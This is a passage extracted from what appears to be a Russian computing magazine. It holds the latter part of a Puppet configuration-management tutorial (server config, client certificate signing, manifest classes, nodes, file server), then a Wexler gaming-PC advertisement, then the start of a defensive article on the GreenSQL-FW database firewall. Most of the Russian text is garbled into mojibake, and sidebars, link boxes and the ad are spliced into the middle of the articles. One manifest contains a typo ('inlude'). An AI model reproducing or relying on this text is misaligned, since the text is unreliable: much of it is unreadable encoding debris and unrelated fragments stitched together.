çàäàåò êîíôèãóðàöèþ ñåðâåðà è êëèåíòîâ, ïîýòîìó äîëæåí 
ïðèñóòñòâîâàòü íà âñåõ ìàøèíàõ, îðãàíèçîâàííûõ â ñåòü 
Puppet. Â Ubuntu ýòîò ôàéë ñîäåðæèò ìèíèìàëüíî íåîáõîäè-
ìûå è â áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íûå íàñòðîéêè. Íèæå 
îíè ïðèâåäåíû ñ êîììåíòàðèÿìè:

# vi /etc/puppet/puppet.conf

[main]

# Ñòàíäàðòíûå ïóòè ê êàòàëîãàì

logdir=/var/log/puppet

vardir=/var/lib/puppet

ssldir=/var/lib/puppet/ssl

rundir=/var/run/puppet

# Ðàñïîëîæåíèå èíñòðóìåíòà Facter,

# èñïîëüçóåìîãî äëÿ ïîëó÷åíèÿ èíôîðìàöèè îá ÎÑ

factpath=$vardir/lib/facter

# Ñèíõðîíèçèðîâàòü ïëàãèíû

# (óñòàíîâèë ïëàãèíû íà ñåðâåð — îíè êîïèðóþòñÿ 

íà êëèåíòîâ)

pluginsync=true

# Êàòàëîã ñ øàáëîíàìè (î íèõ ÷èòàé íèæå)

templatedir=$confdir/templates

# Ñèíõðîíèçàöèÿ ñ etckeeper

# (êòî çíàåò — ïîéìåò, îñòàëüíûì íå íóæíî) 

prerun_command=/etc/puppet/etckeeper-commit-

pre

postrun_command=/etc/puppet/etckeeper-commit-

post

Êîíôèãóðàöèîííûé ôàéë ìîæåò âêëþ÷àòü â ñåáÿ áîëüøîå 
êîëè÷åñòâî ðàçëè÷íûõ îïöèé, èíôîðìàöèþ î êîòîðûõ ìîæ-
íî ïîëó÷èòü, ñãåíåðèðîâàâ äåôîëòîâûé êîíôèã:

$ sudo puppetmasterd -genconfig > /etc/puppet/

puppetd.conf.default

Äåôîëòîâûé êëèåíòñêèé êîíôèã ãåíåðèðóåòñÿ ñ ïîìîùüþ 
äðóãîé êîìàíäû:

$ sudo puppet -genconfig > /etc/puppet/puppetd.

conf.default

Ôàéëû fileserver.conf è auth.conf èñïîëüçóþòñÿ äëÿ 
íàñòðîéêè ôàéëîâîãî ñåðâåðà (îá ýòîì ÷èòàé â ðàçäåëå 
«Ôàéëîâûé ñåðâåð») è àóòåíòèôèêàöèè. Ïîêà èõ òðîãàòü 
íåò ñìûñëà. Ïî îêîí÷àíèè êîíôèãóðèðîâàíèÿ ñåðâåð 
Puppet íåîáõîäèìî ïåðåçàïóñòèòü:

$ sudo /etc/init.d/puppetmaster restart

Ïîñëå ÷åãî îí áóäåò ãîòîâ ïðèíèìàòü çàïðîñû 
êëèåíòîâ.
 Îäíàêî áåç ïîäïèñàííîãî ñåðòèôèêàòà íè îäèí êëèåíò 
íå ñìîæåò ïîëó÷èòü ìàíèôåñò îò ñåðâåðà è âûïîëíèòü 
êîíôèãóðèðîâàíèå ìàøèíû. 
Ïîýòîìó ìû äîëæíû çàïóñòèòü êëèåíòû Puppet â 
òåñòîâîì ðåæèìå, ÷òîáû îíè ñìîãëè ïåðåäàòü ñâîè 
ñåðòèôèêàòû ñåðâåðó íà ïîäïèñü (êñòàòè, îäíîâðå-
ìåííî íà âñåõ ìàøèíàõ ýòî ìîæíî ñäåëàòü ñ ïîìîùüþ 
èíñòðóìåíòà shmux):

• http://docs.
puppetlabs.com  — 
Документация Puppet
• http://docs.
puppetlabs.com/
guides/language_
tutorial.html — Пол-
ное описание языка 
Puppet
• http://docs.
puppetlabs.com/
references/stable/
type.html — Типы 
ресурсов

links

HTTP://WWW



$ sudo puppetd -server puppet-ñåðâåð.com -verbose -test

Âîçâðàùàåìñÿ íà ñåðâåð è ïîëó÷àåì ñïèñîê ñåðòèôèêàòîâ, ãîòîâûõ ê 
ïîäïèñè:

$ sudo puppetca --list

Âûáèðàåì õîñò èç ñïèñêà è ïîäïèñûâàåì åãî ñåðòèôèêàò:

$ sudo puppetca --sign nomad.grinder.com

Èëè æå ïîäïèñûâàåì ñðàçó âñå:

$ sudo puppetca --sign --all

Òåïåðü ìîæíî çàïóñòèòü êëèåíòû â áîåâîì ðåæèìå. Íî ñíà÷àëà íåîá-
õîäèìî ïðîïèñàòü èìÿ Puppet-ñåðâåðà â êîíôèãóðàöèîííîì ôàéëå (ïî 
óìîë÷àíèþ åãî èìÿ — ïðîñòî puppet):

$ sudo su

# echo '[puppet]' >> /etc/puppet/puppet.conf

# echo 'server=puppet-ñåðâåð.com' >> /etc/puppet/puppet.conf

# exit

Çàïóñêàåì êëèåíòû:

$ sudo /etc/init.d/puppet start

Язык описания состояния
Êàê óæå áûëî ñêàçàíî âûøå, Puppet èñïîëüçóåò ñîáñòâåííûé ÿçûê 
îïèñàíèÿ êîíå÷íîãî ñîñòîÿíèÿ îïåðàöèîííîé ñèñòåìû, ñ ïîìîùüþ 
êîòîðîãî ñèñàäìèí óêàçûâàåò òî, ê êàêîìó âèäó äîëæíû áûòü ïðèâåäåíû 
êîìïîíåíòû ÎÑ, ÷òîáû îíà äîñòèãëà æåëàåìîãî ñîñòîÿíèÿ. Ýòî äîñòàòî÷-
íî ñëîæíûé ÿçûê, êîòîðûé, òåì íå ìåíåå, ãîðàçäî ïðîùå ëþáîãî ÿçûêà 
ïðîãðàììèðîâàíèÿ. Åñëè òû õîòÿ áû ïîâåðõíîñòíî çíàêîì ñ ÿçûêîì ñöå-
íàðèåâ bash, òî ëåãêî ðàçáåðåøüñÿ â ÿçûêå Puppet. Êëþ÷åâûì ýëåìåíòîì 
ÿçûêà ÿâëÿþòñÿ ðåñóðñû, ñ ïîìîùüþ êîòîðûõ ïðîèñõîäèò îïèñàíèå òîãî, 
ê êàêîìó âèäó äîëæåí áûòü ïðèâåäåí îäèí èç êîìïîíåíòîâ ÎÑ. Íàïðè-
ìåð, ñëåäóþùèé ïðîñòåéøèé ðåñóðñ îïèñûâàåò æåëàåìîå ñîñòîÿíèå 
ôàéëà /etc/passwd:

# vi /etc/puppet/manifests/site.pp

file { "/etc/passwd":

 owner => "root"

}

Çäåñü file — ýòî òèï ðåñóðñà. Âñåãî èõ ñóùåñòâóåò íåñêîëüêî äåñÿòêîâ, 
íà÷èíàÿ îò ðåñóðñîâ, óïðàâëÿþùèõ ôàéëàìè, êàê â ýòîì ïðèìåðå, è 

çàêàí÷èâàÿ ïàêåòàìè è ñåðâèñàìè. Ñòðîêà /etc/passwd — èìÿ ðåñóðñà. 
Â ñëó÷àå ñ òèïîì file èìÿ ñîâïàäàåò ñ ïóòåì äî ôàéëà, îäíàêî â íåêîòîðûõ 
äðóãèõ òèïàõ èìÿ ìîæåò áûòü ïðîèçâîëüíûì. Ñòðîêà owner => "root" 
îïèñûâàåò óñòàíîâêó àòðèáóòà owner â çíà÷åíèå root, òî åñòü ãîâîðèò, 
÷òî âëàäåëüöåì (owner) óêàçàííîãî ôàéëà äîëæåí áûòü àäìèíèñòðàòîð. 
Êàæäûé òèï ðåñóðñîâ îáëàäàåò ñîáñòâåííûì íàáîðîì äîñòóïíûõ äëÿ 
ìîäèôèêàöèè àòðèáóòîâ, ïëþñ åñòü ñïåöèàëüíûå ìåòà-àòðèáóòû, êî-
òîðûå ìîæíî èñïîëüçîâàòü â ëþáîì ðåñóðñå. Îäíèì èç âàæíûõ êà÷åñòâ 
ðåñóðñîâ ÿâëÿåòñÿ âîçìîæíîñòü ññûëêè íà íèõ. Ýòî ìîæíî èñïîëüçîâàòü 
äëÿ ôîðìèðîâàíèÿ öåïî÷åê çàâèñèìîñòåé. Ñëåäóþùàÿ çàïèñü ñîçäàåò 
ðåñóðñ /etc/group, êîòîðûé çàâèñèò îò ðåñóðñà /etc/passwd (çàâèñèìîñ-
òè óêàçûâàþòñÿ ñ ïîìîùüþ ìåòà-àòðèáóòà require):

# vi /etc/puppet/manifests/site.pp

file { "/etc/group":

 require => File["/etc/passwd"],

 owner => "root",

}

Ýòî çíà÷èò, ÷òî ðåñóðñ /etc/group ìîæåò áûòü ñêîíôèãóðèðîâàí (ïðè-
âåäåí ê îïèñàííîìó âèäó) òîëüêî òîãäà, êîãäà áóäåò ñêîíôèãóðèðîâàí 
ðåñóðñ /etc/passwd. Ðåñóðñû ìîãóò áûòü ñãðóïïèðîâàíû â êîëëåêöèè 
ðåñóðñîâ, íàçûâàåìûå êëàññàìè. Ýòî íóæíî äëÿ òîãî, ÷òîáû îáúåäè-
íèòü ïîõîæèå ïî ñìûñëó è òèïó âûïîëíÿåìîé çàäà÷è ðåñóðñû â îäèí 
àáñòðàêòíûé ðåñóðñ. Íàïðèìåð, äëÿ óäîáñòâà ìû ìîãëè áû îáúåäèíèòü 
óñòàíîâêó è çàïóñê âåá-ñåðâåðà nginx â îäèí àáñòðàêòíûé îäíîèìåííûé 
ðåñóðñ: 

# vi /etc/puppet/manifests/site.pp

class nginx {

 package { "nginx":

ensure => installed

 }

 service { "nginx":

  ensure => running,

  require => Package["nginx"],
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 }

}

Çäåñü òèï ðåñóðñà package èñïîëüçóåòñÿ äëÿ óñòàíîâêè 
ïàêåòà nginx â ñèñòåìó, à service — äëÿ çàïóñêà îäíîèìåí-
íîãî ñåðâèñà. Ñ ïîìîùüþ require ìû çàñòàâëÿåì ñèñòåìó 
çàïóñêàòü ñåðâèñ òîëüêî â òîì ñëó÷àå, åñëè ïàêåò áûë óñïåø-
íî óñòàíîâëåí. Óäîáñòâî êëàññîâ â òîì, ÷òî èõ òîæå ìîæíî 
âêëþ÷àòü â çàâèñèìîñòè:

# vi /etc/puppet/manifests/site.pp

service { "squid":

 ensure => running,

 require => Class["nginx"],

}

Êàê è â íàñòîÿùèõ ÎÎÏ-ÿçûêàõ, êëàññû ìîãóò íàñëåäîâàòü 
äðóã äðóãà è ïåðåîïðåäåëÿòü àòðèáóòû:

# vi /etc/puppet/manifests/site.pp

class passwd {

 file { "/etc/passwd":

  owner => "root",

  group => "root",

 }

}

class passwd-bsd inherits passwd {

 File["/etc/passwd"] { group => "wheel" }

}

Çäåñü êëàññ passwd-bsd íàñëåäóåòñÿ îò passwd äëÿ òîãî, 
÷òîáû ïåðåîïðåäåëèòü àòðèáóò group ðåñóðñà /etc/passwd (â 
BSD-ñèñòåìàõ /etc/passwd ïðèíàäëåæèò ãðóïïå wheel, ïîý-
òîìó ìû ñîçäàëè îòäåëüíûé êëàññ äëÿ òàêèõ ñèñòåì). Ïîçæå 
ìû ðàññìîòðèì áîëåå ïðàâèëüíûé è î÷åâèäíûé ñïîñîá 
âûáîðà àëüòåðíàòèâíûõ çíà÷åíèé àòðèáóòîâ ñ ïîìîùüþ óñ-
ëîâèé. Ïåðåìåííûå — îäèí èç íåîòúåìëåìûõ êîìïîíåíòîâ 
ëþáîãî ÿçûêà ïðîãðàììèðîâàíèÿ, è â ÿçûêå Puppet îíè òîæå 
åñòü. Ïåðåìåííûå íà÷èíàþòñÿ ñî çíàêà $ è ìîãóò ñîäåðæàòü 
ëþáîå ÷èñëî, ñòðîêó èëè áóëåâî çíà÷åíèå (true, false):

$want_apache = true

$apache_version = "2.2.14"

Îäíèì èç ìîùíåéøèõ ñâîéñòâ ÿçûêà Puppet, ñâÿçàííûì ñ 
ïåðåìåííûìè, ÿâëÿåòñÿ èíòåãðàöèÿ ñ èíñòðóìåíòîì ïîëó-
÷åíèÿ èíôîðìàöèè î ìàøèíå facter. Ýòà óòèëèòà âîçâðàùàåò 
âñþ èíôîðìàöèþ, ñïåöèôè÷íóþ äëÿ ìàøèíû, â âèäå ïàð 
«êëþ÷-çíà÷åíèå», êîòîðûå â Puppet ïðåâðàùàþòñÿ â îäíî-
èìåííûå ïåðåìåííûå. Âêóïå ñ óñëîâíûìè èíñòðóêöèÿìè 
ÿçûêà Puppet îíè ìîãóò áûòü èñïîëüçîâàíû äëÿ àëüòåðàöèè 
àòðèáóòîâ ðåñóðñà â çàâèñèìîñòè îò ñâîéñòâ ìàøèíû. 
Íàïðèìåð, îïèñàííûé âûøå êëàññ passwd ìîæåò áûòü ëåãêî 
ïåðåïèñàí äëÿ àâòîìàòè÷åñêîãî âûáîð àòðèáóòà â çàâèñè-
ìîñòè îò òèïà ÎÑ (ïðè ýòîì ñàì êëàññ áîëüøå íå íóæåí):

# vi /etc/puppet/manifests/site.pp

file { "/etc/passwd":

 owner => "root",

 group => $kernel ? {

  Linux => "root",

  FreeBSD => "wheel",

 },

}

Â çàâèñèìîñòè îò òîãî, íà êàêîé ÎÑ áóäåò ïðîàíàëèçèðîâàí 
äàííûé ôðàãìåíò ìàíèôåñòà, çíà÷åíèåì àòðèáóòà group 
ñòàíåò ëèáî root, ëèáî wheel. Êðîìå óñëîâíîãî îïåðàòîðà, 
ÿçûê Puppet ïîääåðæèâàåò è îïåðàòîð âûáîðà case, êîòîðûé 
ìîæíî èñïîëüçîâàòü äëÿ ñîçäàíèÿ òîãî èëè èíîãî ðåñóðñà â 
çàâèñèìîñòè îò çíà÷åíèÿ ïåðåìåííîé:

# vi /etc/puppet/manifests/site.pp

case $operatingsystem {

redhat: { service { "httpd": ensure => running }}

debian: { service { "apache": ensure => running }}

default: { service { "apache2": ensure => 

running }}

}

Ýòîò êîä îïðåäåëÿåò ðàçëè÷íûå âàðèàíòû ðåñóðñà òèïà 
service â çàâèñèìîñòè îò îïåðàöèîííîé ñèñòåìû (èìåíà 
ñåðâèñîâ â ðàçëè÷íûõ äèñòðèáóòèâàõ Linux ìîãóò îòëè-
÷àòüñÿ, ïîýòîìó òî, êàêîé ñåðâèñ äîëæåí çàïóñòèòü Puppet, 
íåîáõîäèìî óêàçûâàòü èíäèâèäóàëüíî äëÿ êàæäîãî èç íèõ). 
Âàðèàíò default èñïîëüçóåòñÿ â òîì ñëó÷àå, åñëè çíà÷åíèå 
ïåðåìåííîé íå ñîîòâåòñòâóåò íè îäíîìó èç ïðåäûäóùèõ âà-
ðèàíòîâ.Ïîìèìî óæå ðàññìîòðåííûõ ðàíåå òèïîâ ðåñóðñîâ 
file, package è service, Puppet ïîääåðæèâàåò áîëüøîå êîëè-
÷åñòâî äðóãèõ, â òîì ÷èñëå ñîçäàííûõ ñòîðîííèìè ðàçðàáîò-
÷èêàìè òèïîâ ðåñóðñîâ. Èõ ïîäðîáíîå îïèñàíèå, âêëþ÷àÿ 
ïðèìåðû, ïîääåðæèâàåìûå àòðèáóòû è îñîáåííîñòè, òû 
ìîæåøü íàéòè â îôèöèàëüíîé äîêóìåíòàöèè — http://docs.
puppetlabs.com/references/stable/type.html. Íèæå ïðèâåäåí 
ñïèñîê è êðàòêîå îïèñàíèå íàèáîëåå èñïîëüçóåìûõ èç íèõ:

Популярные типы ресурсов Puppet

cron — óïðàâëåíèå çàäàíèÿìè cron

exec — çàïóñê ñêðèïòîâ è êîìàíä

file — óïðàâëåíèå ôàéëàìè

filebucket — ðåçåðâíîå êîïèðîâàíèå ôàéëîâ

group — óïðàâëåíèå ãðóïïàìè

host — óïðàâëåíèå çàïèñÿìè â ôàéëå /etc/hosts

interface — êîíôèãóðèðîâàíèå ñåòåâûõ èíòåðôåé-

ñîâ

mount — ìîíòèðîâàíèå ôàéëîâûõ ñèñòåì

notify — ïîñûëêà ñîîáùåíèÿ â ëîã-ôàéë Puppet

package — óïðàâëåíèå ïàêåòàìè

warning 
• Для обмена данными 
Puppet использует порт 
8140, потому он должен 
быть открыт с помощью 
межсетевого экрана.

• Несмотря на все 
достоинства, у Puppet 
есть один недостаток 
— это сравнительно 
низкая, по сравнению 
с Cfengine, произ-
водительность (он 
медленнее  в 20 раз).

WARNING

• Puppet использует 
протокол HTTP, поэ-
тому для увеличения 
производительности 
может быть запущен 
под управлением 
веб-сервера.

• Puppet можно ис-
пользовать для авто-
конфигурирования 
и сопровождения 
одной локальной 
машины.

• Объединив Puppet, 
сетевую установку ОС 
(pxe-install) и само-
сборные установоч-
ные образы, можно 
создать полностью 
самоконфигуриру-
емую сеть машин, 
для развертывания 
которой достаточно 
выполнить одну 
команду.

• Puppet используют 
в своей работе мно-
гие крупные компа-
нии, такие как Google, 
Fedora Project, 
Stanford University, 
Red Hat, Siemens IT 
Solution 
и SugarCRM.
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service — óïðàâëåíèå ñåðâèñàìè

sshkey — óïðàâëåíèå êëþ÷àìè SSH

tidy — óäàëåíèå ôàéëîâ â çàâèñèìîñòè îò óñëîâèé

user — óïðàâëåíèå ïîëüçîâàòåëÿìè

zones — óïðàâëåíèå çîíàìè Solaris

Âòîðîé ïîñëå ðåñóðñîâ ïî âàæíîñòè ýëåìåíò ÿçûêà Puppet — ýòî óçëû 
(nodes). Ñ èõ ïîìîùüþ àäìèíèñòðàòîð ìîæåò îïèñàòü òî, ê êàêèì 
ìàøèíàì äîëæíû áûòü ïðèìåíåíû òå èëè èíûå ðåñóðñû è êëàññû. Äðó-
ãèìè ñëîâàìè, ýòî ñïîñîá óêàçàòü èíäèâèäóàëüíóþ êîíôèãóðàöèþ äëÿ 
êàæäîé èç ìàøèí, ó÷àñòâóþùèõ â ñåòè Puppet. Íàèáîëåå ïðîñòîé ïðèìåð 
óçëà ïðèâåäåí â íà÷àëå ñòàòüè â ðàçäåëå «Óñòàíîâêà»:

# vi /etc/puppet/manifests/site.pp

node default {

 include passwd

}

Ýòî îïðåäåëåíèå óçëà default, âêëþ÷àþùåãî â ñåáÿ ðåñóðñ/êëàññ 
passwd. Èìÿ default çíà÷èò «âñå îñòàëüíûå óçëû», ïîýòîìó ðåñóðñ/
êëàññ passwd, îïðåäåëåííûé ãäå-òî âûøå, áóäåò ñêîíôèãóðèðîâàí 
íà êàæäîì èç íèõ. Êëþ÷åâîå ñëîâî include çäåñü èñïîëüçîâàíî äëÿ 
óäîáñòâà, íà ñàìîì äåëå âñå êëàññû è ðåñóðñû ìîæíî îïèñàòü ïðÿìî â 
îïèñàíèè óçëà, íî äåëàòü ýòî íå ðåêîìåíäóåòñÿ. Ïîìèìî default â èìå-
íè óçëà ìîæíî óêàçûâàòü ñåòåâîå èìÿ ìàøèíû (òîãäà âñå îïèñàííûå â 
óçëå ðåñóðñû áóäóò ñêîíôèãóðèðîâàíû òîëüêî íà ýòîé ìàøèíå), ëèáî 
ïðîèçâîëüíîå èìÿ (òîãäà ýòîò óçåë ìîæåò áûòü óíàñëåäîâàí äðóãèì 
óçëîì). ×òîáû ïîíÿòü, êàê âñå ýòî ðàáîòàåò ñîâìåñòíî ñ êëàññàìè è 
ðåñóðñàìè, ðàññìîòðèì ïðèìåð ãîòîâîãî ìàíèôåñòà Puppet, èñïîëü-
çóåìîãî äëÿ êîíôèãóðèðîâàíèÿ äâóõ ñåòåâûõ ìàøèí (âåá-ñåðâåðà è 
NTP-ñåðâåðà):

# vi /etc/puppet/manifests/site.pp

# Óñòàíîâêà è çàïóñê SSH-ñåðâåðà

class sshd {

 package { openssh-server: ensure => installed }

 service { sshd:

   name => $operatingsystem ? {

   fedora => "sshd",

   debian => "ssh",

   default => "sshd",

  },

  enable => true,

  ensure => running,

 }

}

# Óñòàíîâêà è çàïóñê Apache

class httpd {

  package { httpd: ensure => installed }

 service { httpd:

  enable => true,

  ensure => running,

 }

}

# Óñòàíîâêà è çàïóñê NTP-ñåðâåðà

class ntpd {

    package { ntp-server: ensure => installed }

    service {

        ntp-server:

            enable => true,

            ensure => running,

    }

}

# Áàçîâûé óçåë, èñïîëüçóåòñÿ òîëüêî êàê ðîäèòåëü âñåõ îñ-

òàëüíûõ

node base {

 include sshd

}

# Óçåë, íà êîòîðîì áóäåò ðàñïîëîæåí âåá-ñåðâåð

node web.server.com inherits base {

 inlude httpd

}

# Óçåë NTP-ñåðâåðà

node ntp.server.com inherits base {

 include ntpd

}

Ýòà ïðîñòàÿ ñ âèäó êîíôèãóðàöèÿ äåëàåò äîñòàòî÷íî ìíîãî: îíà ïðèâî-
äèò ê óñòàíîâêå è çàïóñêó Apache íà ìàøèíå ñ àäðåñîì web.server.com è 
ê óñòàíîâêå è çàïóñêó NTP-ñåðâåðà íà ìàøèíå ntp.server.com. Äîïîëíè-
òåëüíî îáå ìàøèíû óñòàíàâëèâàþò SSH-ñåðâåð.  Òàêàÿ êîíôèãóðàöèÿ 
åäâà ëè óñòðîèò õîòü îäíîãî àäìèíèñòðàòîðà; åå ïðèäåòñÿ ñåðüåçíî 
äîðàáîòàòü, ÷òîáû íàó÷èòü ïðàâèëüíî íàñòðàèâàòü ñåðâåðû, ïîëó-
÷àòü ñâåæèå êîíôèãè è äðóãèå ôàéëû ñ ãîëîâíîãî ñåðâåðà Puppet. 
Îäíàêî îíà íàãëÿäíî ïîêàçûâàåò ìîùü Puppet. Ñ ïîìîùüþ ïðîñòîãî 
êîíôèãà ìû ñäåëàëè òàê, ÷òîáû ìàøèíû ñàìè óñòàíîâèëè è çàïóñ-
òèëè íåîáõîäèìîå ÏÎ è ïîääåðæèâàëè åãî â ðàáî÷åì ñîñòîÿíèè 
(åñëè ñåðâåð óïàäåò, Puppet ñàì ïðîèçâåäåò ïåðåêîíôèãóðèðîâàíèå, 
÷òîáû ïðèâåñòè ñèñòåìû ê òðåáóåìîìó ñîñòîÿíèþ).

Файл-сервер
Ìíîãèå çàäà÷è óäàëåííîãî àäìèíèñòðèðîâàíèÿ íå ìîãóò áûòü ðåøåíû 
áåç êîïèðîâàíèÿ íà ìàøèíû äîïîëíèòåëüíûõ ôàéëîâ. Ýòî ìîãóò áûòü 
çàðàíåå ïîäãîòîâëåííûå êîíôèãè, âåá-ñòðàíèöû äëÿ Apache, ïàêåòû, 
îòñóòñòâóþùèå â îôèöèàëüíîì ðåïîçèòîðèè, è ìíîãîå äðóãîå. ×òîáû 
îáëåã÷èòü ïðîöåññ ïåðåíîñà ýòèõ ôàéëîâ íà óäàëåííûå óçëû, Puppet 
âêëþ÷àåò â ñåáÿ ôàéëîâûé ñåðâåð.
Íàñòðîéêè ôàéëîâîãî ñåðâåðà õðàíÿòñÿ â ôàéëå /etc/puppet/fileserver.
conf. ×òîáû çàñòàâèòü Puppet îòäàâàòü êëèåíòàì ñîäåðæèìîå îïðåäåëåí-
íîãî êàòàëîãà, íåîáõîäèìî ïîìåñòèòü â íåãî íåñêîëüêî ñòðîê:

# vi /etc/puppet/fileserver.conf

[files]

 path = /var/puppet/files

 allow *.server.com

Ýòè äâå ñòðîêè óêàçûâàþò íà òî, ÷òî êàòàëîã /var/puppet/files äîëæåí 
áûòü äîñòóïåí âñåì õîñòàì äîìåíà server.com. Êðîìå òîãî, ìû ìîæåì 
óêàçàòü ïîëíîå äîìåííîå èìÿ ðàçðåøåííîé ìàøèíû èëè åå IP-àäðåñ, 
à òàêæå îòðåçàòü íåóãîäíûõ ñ ïîìîùüþ äèðåêòèâû deny. Ïîñëå ýòîãî 
ëþáîé ôàéë ýòîãî êàòàëîãà ìîæíî ïåðåìåñòèòü íà êëèåíò ñ ïîìîùüþ 
ðåñóðñà file. Íàïðèìåð:

# vi /etc/puppet/manifests/site.pp

file { "/etc/httpd/conf/httpd.conf":

 source => "puppet://httpd/httpd.conf",

     mode => 644,

}

Ôàéë httpd.conf, ðàñïîëîæåííûé íà ñåðâåðå â êàòàëîãå /var/puppet/
files/httpd, áóäåò ñêîïèðîâàí íà öåëåâóþ ìàøèíó ïî ïóòè, óêàçàííîì â 
èìåíè ðåñóðñà.

Выводы
Â ýòîé ñòàòüå ìû ðàññìîòðåëè î÷åíü íåáîëüøóþ ÷àñòü âîçìîæíîñòåé 
Puppet. Íà ñàìîì äåëå ýòî êîìïëåêñíàÿ ñèñòåìà, ïîëíîñòüþ îïèñàòü 
êîòîðóþ ìîæíî òîëüêî íà ñòðàíèöàõ êíèãè. Â òî æå âðåìÿ, Puppet î÷åíü 
ïðîñò â íàñòðîéêå è ñîïðîâîæäåíèè, òåì áîëåå, ÷òî â Ñåòè ìîæíî íàéòè 
ìàññó ïðèìåðîâ åãî êîíôèãóðàöèè.!z
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Ìû ðåêîìåíäóåì ïîäëèííóþ ÎÑ Windows® 7.
ЗАО «БТК» — официальный дистрибутор 
техники WEXLER в России
Единая служба поддержки Wexler:
+7 (800) 200-9660
www.wexler.ru

Много лет назад мы все заморачивались покупкой комьютера по частям 
и самостоятельно собирали его,  посмеиваясь над производителями готовых сборок 
(и непременно теми, кто их покупает). Мол, и железо они подбирают не оптимальное, и продают 
втридорога. Романтика handycraft'а давно ушла, пришел простой расчет. Оказалось, что готовые 
сборки с установленной системой зачастую обходятся дешевле, чем собирать компьютер 
самому. Легче пойти в магазин и купить компьютер с классной конфигурацией за хорошую 
цену. В случае с WEXLER.HOME 903 с 64-битной Windows® 7 на борту ты получаешь практически 
топовую машину, которая идеально подойдет для игр.

© Владельцем товарного знака Microsoft® и логотипа Windows® 7, зарегистрированных на территории США и/или других стран, и владельцем авторских прав 
на его дизайн является корпорация Microsoft®.

Процессор
В качестве процессора используется мощный двухядерный процес-
сор Intel® Core™ i5-650 с частотой 3,2 ГГц и кэш-памятью 4 Мб. CPU 
имеет встроенный контроллер памяти и поддерживает технологию 
Turbo Boost, автоматически разгоняющую его под нагрузкой (напри-
мер, в последних играх). Более того, такие процессоры поставляют-
ся еще и со встроенным контроллером памяти.

Видео
За игровые возможности отвечают две видеокарты GeForce GTX 460, 
основанные на новейшей вычислительной архитектуре «Fermi». 
Благодаря высокой производительности в режиме DirectX 11 тес-
селяции процессор GTX 460 обеспечивает идеально четкую гра-
фику без ущерба для скорости, а поддержка технологий NVIDIA 3D 
Vision™, PhysX® и CUDA™ позволяет визуализировать все самые 
потрясающие эффекты, на которые способны компьютерные игры. 
Просто выставляй настройки графики на максимум.

ОЗУ
Компьютер WEXLER.HOME 903 укомплектован оперативной памятью 
4 Гб, работающей в двухканальном режиме. Благодаря этому работа 

с каждым из двух установленных модулей памяти осуществляется 
параллельно. Пускай технология и не дает теоретического увеличе-
ния пропускной способности в два раза, но, тем не менее, вносит 
ощутимый результат.

Блок питания
Набор мощного железа не может обойтись без надежного пита-
ния. В WEXLER.HOME электропитание осуществляется с помощью 
надежного блока питания мощностью 750 Вт. Это даже больше, чем 
нужно, но зато обеспечивает хороший запас надежности.

Софт
На всех компьютерах WEXLER.HOME 903 предустановлена 
операционная система Windows® 7 Домашняя расширенная. 
Использование именно 64-битной версии не случайно: благодаря 
этому удается задействовать все 4 Гб установленной в компьютере 
памяти. Помимо ОС, дополнительно установлен офисный пакет 
Microsoft® Office starter (бесплатные Word и Excel) и бесплатный 
антивирус Microsoft® Security Essentials.
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Веб сегодня популярен настолько, что разработкой приложений под него занимаются практически 
все, кому не лень — от фрилансеров до больших софтовых компаний. Причем безопасности 
продукта обе эти категории граждан (и их сообществ) порой уделяют не самое пристальное 
внимание. Но даже проверка при помощи сканера не может гарантировать отсутствие проблем. 
Проекты, живущие не один год, и те подчас содержат уязвимости. Специальные файеры 
седьмого уровня позволяют защититься, абстрагировавшись от конкретного приложения.

Ïîñëåäíèé 
ðóáåæ

Защита СУБД с GreenSQL-FW
  Êëàññè÷åñêîå âåá-ïðèëîæåíèå ëþáîãî íàçíà÷åíèÿ äëÿ ñâîåé ðàáîòû 
èñïîëüçóåò ñîáñòâåííî âåá-ñåðâåð ñ àêòèâíûì ìîäóëåì èíòåðïðåòà-
òîðà ÿçûêà è áàçó äàííûõ, â êîòîðîé õðàíÿòñÿ äàííûå. Âñå èçâåñòíûå 
íà ñåãîäíÿ àòàêè (XSS, SQL-injection, XPath-injections, CSRF/XSRF, 
HTTP Response Splitting, Include-àòàêè è äðóãèå) â òîé èëè èíîé ìåðå 
èñïîëüçóþò íåäîðàáîòêè ïðîãðàììèñòîâ, ïîçâîëÿþùèå â èòîãå 
ïîëó÷èòü äîñòóï ê çàêðûòîé èíôîðìàöèè. Îáíàðóæèòü è óñòðàíèòü 
âñå âîçìîæíûå îøèáêè ïðîñòî íåðåàëüíî, è âåá-ïðèëîæåíèÿ çäåñü — 
íå èñêëþ÷åíèå. Âïðî÷åì, ïðèåìû àòàêóþùèõ õîðîøî èçâåñòíû. Ýòîò 
ôàêò èñïîëüçóþò â ñïåöèàëüíûõ ñðåäñòâàõ, ðàçðàáîò÷èêè êîòîðûõ 
îòñëåæèâàþò âñå ïîòåíöèàëüíî îïàñíûå, äà è ïðîñòî çàïðåùåííûå 
àäìèíèñòðàòîðîì çàïðîñû, è ïûòàþòñÿ èõ áëîêèðîâàòü èëè èçìå-
íèòü. Íà ñòðàíèöàõ æóðíàëà óæå ðàññìàòðèâàëèñü òàêèå ïðèëîæåíèÿ, 
êàê AppArmor, SELinux è TOMOYO Linux (][ îò 08.2010), êîòîðûå 
òàêæå ïîäõîäÿò ïîä íàøè öåëè è ñïîñîáíû ïðîòèâîñòîÿòü ìíîãèì 
àòàêàì. Ñåãîäíÿ ðàññìîòðèì íåêîòîðûå äðóãèå ðåøåíèÿ.
Îáçîð íà÷íåòñÿ ñ ïðîåêòà GreenSQL-FW (greensql.net), êîòîðûé, 
ðàáîòàÿ êàê ïðîêñè-ñåðâåð ìåæäó âåá-ïðèëîæåíèåì è SQL-ñåðâåðîì, 
àíàëèçèðóåò SQL-êîìàíäû íà ïðåäìåò àíîìàëüíûõ çàïðîñîâ è êîìàí-
äû àäìèíèñòðèðîâàíèÿ SQL-ñåðâåðà, êîòîðûå ÷àñòî èñïîëüçóþòñÿ 
âçëîìùèêàìè (DROP, CREATE è ò.ä.). 
Èñïîëüçóÿ GreenSQL, àäìèí ìîæåò îïðåäåëèòü ñïèñîê äîïóñòèìûõ è 
çàïðåùåííûõ ìàñîê äëÿ îïåðàöèé DELETE, UPDATE è INSERT, à òàêæå 
áëîêèðîâàòü çàïðîñû, ñîäåðæàùèå ID àäìèíèñòðàòîðà.  Ïðè îáíàðó-
æåíèè àòàê êðîìå «îïàñíûõ» êîìàíä èñïîëüçóåòñÿ «ñòåïåíü ðèñêà», 
